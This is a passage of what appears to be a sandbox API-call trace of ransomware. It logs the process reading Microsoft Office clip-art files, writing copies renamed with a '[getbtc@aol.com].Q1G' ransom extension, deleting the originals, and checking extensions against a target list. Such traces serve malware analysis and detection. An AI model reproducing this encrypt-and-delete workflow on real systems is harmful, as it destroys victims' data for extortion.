lpNumberOfBytesWritten=0x2c9fc9c*=0xab80, lpOverlapped=0x0) returned 1 [0255.250] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.250] WriteFile (in: hFile=0x3f4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.250] SetEndOfFile (hFile=0x3f4) returned 1 [0255.250] CloseHandle (hObject=0x3f4) returned 1 [0255.250] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.250] SetEndOfFile (hFile=0x390) returned 1 [0255.253] CloseHandle (hObject=0x390) returned 1 [0255.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0255.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0255.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0255.254] lstrlenW (lpString=".doc") returned 4 [0255.254] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0255.254] lstrlenW (lpString=".docx") returned 5 [0255.254] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0255.254] lstrlenW (lpString=".pdf") returned 4 [0255.254] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0255.254] lstrlenW (lpString=".xls") returned 4 [0255.254] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0255.254] lstrlenW (lpString=".xlsx") returned 5 [0255.254] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0255.254] lstrlenW (lpString=".ppt") returned 4 [0255.254] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0255.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0255.254] lstrlenW (lpString=".zip") returned 4 [0255.254] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0255.254] lstrlenW (lpString=".rar") returned 4 [0255.254] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0255.254] lstrlenW (lpString=".bz2") returned 4 [0255.254] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0255.254] lstrlenW (lpString=".7z") returned 3 [0255.254] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0255.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0255.254] lstrlenW (lpString=".dbf") returned 4 [0255.254] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0255.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0255.254] lstrlenW (lpString=".1cd") returned 4 [0255.254] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0255.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0255.254] lstrlenW (lpString=".jpg") returned 4 [0255.254] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0255.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0255.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0255.255] lstrlenW (lpString=".doc") returned 4 [0255.255] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0255.255] lstrlenW (lpString=".docx") returned 5 [0255.255] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0255.255] lstrlenW (lpString=".pdf") returned 4 [0255.255] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0255.255] lstrlenW (lpString=".xls") returned 4 [0255.255] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0255.255] lstrlenW (lpString=".xlsx") returned 5 [0255.255] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0255.255] lstrlenW (lpString=".ppt") returned 4 [0255.255] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0255.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0255.255] lstrlenW (lpString=".zip") returned 4 [0255.255] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0255.255] lstrlenW (lpString=".rar") returned 4 [0255.255] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0255.255] lstrlenW (lpString=".bz2") returned 4 [0255.255] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0255.255] lstrlenW (lpString=".7z") returned 3 [0255.255] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0255.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0255.255] lstrlenW (lpString=".dbf") returned 4 [0255.255] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0255.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0255.255] lstrlenW (lpString=".1cd") returned 4 [0255.255] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0255.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0255.255] lstrlenW (lpString=".jpg") returned 4 [0255.255] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0255.256] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0255.256] lstrlenW (lpString="J0099195.GIF") returned 12 [0255.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.256] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=19923) returned 1 [0255.256] CloseHandle (hObject=0x390) returned 1 [0255.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif")) returned 0x20 [0255.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.256] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.257] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0255.258] GetLastError () returned 0x0 [0255.258] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x4dd3, lpOverlapped=0x0) returned 1 [0255.293] WriteFile (in: hFile=0x3f4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4de0, lpOverlapped=0x0) returned 1 [0255.294] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.294] WriteFile (in: hFile=0x3f4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.294] SetEndOfFile (hFile=0x3f4) returned 1 [0255.294] CloseHandle (hObject=0x3f4) returned 1 [0255.294] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.294] SetEndOfFile (hFile=0x390) returned 1 [0255.296] CloseHandle (hObject=0x390) returned 1 [0255.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif")) returned 1 [0255.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0255.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0255.349] lstrlenW (lpString=".doc") returned 4 [0255.349] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.349] lstrlenW (lpString=".docx") returned 5 [0255.349] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0255.349] lstrlenW (lpString=".pdf") returned 4 [0255.349] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.349] lstrlenW (lpString=".xls") returned 4 [0255.349] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.349] lstrlenW (lpString=".xlsx") returned 5 [0255.349] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0255.349] lstrlenW (lpString=".ppt") returned 4 [0255.349] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0255.349] lstrlenW (lpString=".zip") returned 4 [0255.350] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.350] lstrlenW (lpString=".rar") returned 4 [0255.350] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.350] lstrlenW (lpString=".bz2") returned 4 [0255.350] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.350] lstrlenW (lpString=".7z") returned 3 [0255.350] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0255.350] lstrlenW (lpString=".dbf") returned 4 [0255.350] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0255.350] lstrlenW (lpString=".1cd") returned 4 [0255.350] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0255.350] lstrlenW (lpString=".jpg") returned 4 [0255.350] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0255.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0255.350] lstrlenW (lpString=".doc") returned 4 [0255.350] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.350] lstrlenW (lpString=".docx") returned 5 [0255.350] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0255.350] lstrlenW (lpString=".pdf") returned 4 [0255.350] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.350] lstrlenW (lpString=".xls") returned 4 [0255.350] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.350] lstrlenW (lpString=".xlsx") returned 5 [0255.350] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0255.350] lstrlenW (lpString=".ppt") returned 4 [0255.350] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0255.350] lstrlenW (lpString=".zip") returned 4 [0255.350] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.350] lstrlenW (lpString=".rar") returned 4 [0255.350] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.350] lstrlenW (lpString=".bz2") returned 4 [0255.350] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.350] lstrlenW (lpString=".7z") returned 3 [0255.351] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0255.351] lstrlenW (lpString=".dbf") returned 4 [0255.351] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0255.351] lstrlenW (lpString=".1cd") returned 4 [0255.351] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0255.351] lstrlenW (lpString=".jpg") returned 4 [0255.351] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.351] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0255.351] lstrlenW (lpString="J0099200.GIF") returned 12 [0255.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.510] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=16543) returned 1 [0255.510] CloseHandle (hObject=0x390) returned 1 [0255.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif")) returned 0x20 [0255.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0255.752] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.752] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0255.753] GetLastError () returned 0x0 [0255.753] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x409f, lpOverlapped=0x0) returned 1 [0255.754] WriteFile (in: hFile=0x3c0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x40a0, lpOverlapped=0x0) returned 1 [0255.756] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.756] WriteFile (in: hFile=0x3c0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.756] SetEndOfFile (hFile=0x3c0) returned 1 [0255.756] CloseHandle (hObject=0x3c0) returned 1 [0255.756] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.756] SetEndOfFile (hFile=0x398) returned 1 [0255.758] CloseHandle (hObject=0x398) returned 1 [0255.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif")) returned 1 [0255.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0255.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0255.759] lstrlenW (lpString=".doc") returned 4 [0255.759] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.759] lstrlenW (lpString=".docx") returned 5 [0255.759] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0255.759] lstrlenW (lpString=".pdf") returned 4 [0255.759] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.759] lstrlenW (lpString=".xls") returned 4 [0255.759] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.759] lstrlenW (lpString=".xlsx") returned 5 [0255.759] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0255.759] lstrlenW (lpString=".ppt") returned 4 [0255.759] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0255.759] lstrlenW (lpString=".zip") returned 4 [0255.759] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.759] lstrlenW (lpString=".rar") returned 4 [0255.759] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.759] lstrlenW (lpString=".bz2") returned 4 [0255.760] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.760] lstrlenW (lpString=".7z") returned 3 [0255.760] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0255.760] lstrlenW (lpString=".dbf") returned 4 [0255.760] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0255.760] lstrlenW (lpString=".1cd") returned 4 [0255.760] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0255.760] lstrlenW (lpString=".jpg") returned 4 [0255.760] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0255.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0255.760] lstrlenW (lpString=".doc") returned 4 [0255.760] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.760] lstrlenW (lpString=".docx") returned 5 [0255.760] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0255.760] lstrlenW (lpString=".pdf") returned 4 [0255.760] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.760] lstrlenW (lpString=".xls") returned 4 [0255.760] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.760] lstrlenW (lpString=".xlsx") returned 5 [0255.760] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0255.760] lstrlenW (lpString=".ppt") returned 4 [0255.760] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0255.760] lstrlenW (lpString=".zip") returned 4 [0255.760] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.760] lstrlenW (lpString=".rar") returned 4 [0255.760] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.760] lstrlenW (lpString=".bz2") returned 4 [0255.760] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.760] lstrlenW (lpString=".7z") returned 3 [0255.760] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0255.761] lstrlenW (lpString=".dbf") returned 4 [0255.761] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0255.761] lstrlenW (lpString=".1cd") returned 4 [0255.761] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0255.761] lstrlenW (lpString=".jpg") returned 4 [0255.761] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.822] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.822] lstrlenW (lpString="J0102002.WMF") returned 12 [0255.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.849] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=15988) returned 1 [0255.859] CloseHandle (hObject=0x324) returned 1 [0255.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf")) returned 0x20 [0255.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.859] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.859] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0255.860] GetLastError () returned 0x0 [0255.860] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x3e74, lpOverlapped=0x0) returned 1 [0255.864] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x3e80, lpOverlapped=0x0) returned 1 [0255.865] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.865] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.865] SetEndOfFile (hFile=0x3bc) returned 1 [0255.865] CloseHandle (hObject=0x3bc) returned 1 [0255.865] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 